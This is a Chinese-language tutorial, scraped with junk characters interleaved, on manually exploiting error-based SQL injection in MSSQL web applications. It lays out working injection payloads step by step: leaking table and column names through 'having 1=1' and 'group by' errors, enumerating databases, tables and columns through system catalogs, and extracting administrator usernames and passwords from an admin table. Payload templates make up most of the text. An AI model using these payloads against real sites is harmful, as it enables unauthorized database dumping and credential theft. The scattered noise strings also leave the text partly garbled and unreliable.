$ U4 J: e2 ]2 J) k: ^; H+ z 2 W: E& N2 _+ _' s* ` 6 ~5 a5 d1 E0 B+ `- A9 i! } WMSSQL手注暴库 7 g* _1 z2 Q5 S9 E0 H- L0 ^5 Z3 ?5 D- f4 t( G: H: j
1.暴出当前表名和列名& W' }2 n3 l9 R# u
在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。 % A H# S, }. t4 P, J0 K" o1 S' M1 n
第一.爆出所有数据库名 $ ^: O/ p) V6 x) ?" Q8 w利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。. ^0 @+ j! X# {/ ?4 ]& R
第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。2 K: {' y& P- P3 I. F
7 G9 c3 v9 x! f8 s0 Z/ x# C: dand 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])-- 修改N从6开始爆出所有数据库名 2 u+ C; b9 e2 f( u- j ' M8 I0 d7 p# _3 p8 E # n {* }" Y0 t9 a, |7 v) W9 }' {第二.爆出指定库中的所有表名 u' { T( g' `' p+ V9 S0 F0 ]得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。 8 x5 y& n( W* q/ k" R* }再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。% n6 d$ Q- E# U4 N
1 O* W! R {1 D! o/ {; x
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--' K W4 F9 m. k! m: F" d( }0 P
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))-- 9 I1 H0 z. p$ G+ o; F! i( iand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))-- ' w( Y7 w, K7 t$ Z( e" i0 E5 I$ A9 {0 u7 q/ p7 k( Y
4.爆出指定表中的所有列名 - i. a; [* s' s) k4 @* |. Band 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) # T' p ~9 Y3 T- V
//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421 name='表名' k! R3 F1 f$ ~/ s+ ]" X# p 3 E5 K: E- T ~/ l( s9 aand 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)-- 爆出admin表中的一个字段名 2 ?' N' J: t3 f% V' T) f5 a4 O 3 C# U! ?" L- s7 I再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))-- - ?9 s* t" d/ w" v6 k, c依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。4 o9 q* Q1 ]. a9 M9 D0 A! Y
* b. C: x; m+ a8 A |' k
& W$ U3 ?% R8 t4 b7 o
and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))-- 爆出要爆字段的表名id值 ( g& _0 M3 A! p* u* V& H( S0 V% ?
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名. b9 D, j) a0 W6 D3 z9 J
6 o0 N) Q! K; ]6 q d8 d$ p4 z
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- % B& h* O2 W$ @' c
+ A# u9 J+ j! C9 _. E3 r
6 z1 l) ~. ^% c+ I0 V) s) M4 l8 s; D
& ?3 A; `( E* y+ J; O3 J
5.读取指定表中的数据 5 _, K1 \/ \! f) T. H4 Q. j8 ?) G' K! m/ g
and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 0 U; w$ o9 W" M( [
4 V: E/ t) [2 o; { b
and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--) a9 Q0 n# g6 L, ~" J
6 }- ]9 z* d7 m8 L" R
and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码 9 K$ Y; B& w4 n( }8 F7 }: }3 ?4 h! r( z7 T- A) s: _! Q
& f" W, j7 i2 B' J* b+ t N
and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)-- 爆出id<>1的管理员名字(fuhao). l2 X" J! K) ~& M: Z t6 m
; i, ^: T; j) s2 g
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang) 9 J+ L; s/ z9 B9 i7 D1 E3 l: B6 y& M1 V# A; t' D
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')-- # p5 G: x' ~- K1 s& ]! W6 |% E$ J! {, c& y, ]0 D# e' z# h
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。 ) `. M1 R& [ b; {5 o2 m* H! T" L' H